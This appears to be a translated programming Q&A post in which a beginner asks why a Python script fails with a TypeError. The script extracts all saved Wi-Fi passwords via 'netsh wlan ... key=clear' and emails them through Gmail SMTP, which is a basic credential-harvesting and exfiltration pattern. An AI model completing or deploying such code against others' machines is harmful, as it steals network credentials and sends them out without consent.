когда я пытаюсь запустить это python:
import subprocess, smtplib
def send_mail(email,password,message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email,password)
server.sendmail(email, email, message)
server.quit()
a = subprocess.check_output(['netsh','wlan','show','profiles']).decode('utf-8').split('\n')
a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i]
for i in a:
results = subprocess.check_output(['netsh','wlan','show','profile',i,'key=clear']).decode('utf-8').split('\n')
results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
try:
print ("{:<30}| {:<}".format(i, results[0]))
except IndexError:
print ("{:<30}| {:<}".format(i,""))
send_mail("example@gmail.com","Example123",results)
я получаю эту ошибку
Traceback (most recent call last):
File "wifi.py", line 18, in <module>
send_mail("Example@gmail.com","Example123",results)
File "wifi.py", line 6, in send_mail
server.sendmail(email, email, message)
File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\smtplib.py", line 886, in sendmail
(code, resp) = self.data(msg)
File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\smtplib.py", line 568, in data
q = _quote_periods(msg)
File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\smtplib.py", line 176, in _quote_periods
return re.sub(br'(?m)^\.', b'..', bindata)
File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\re.py", line 210, in sub
return _compile(pattern, flags).sub(repl, string, count)
TypeError: expected string or bytes-like object
Я понимаю, что мне нужно где-то поставить 'str', но я этого не делаю Я не знаю, какая часть (я вроде как новичок в python)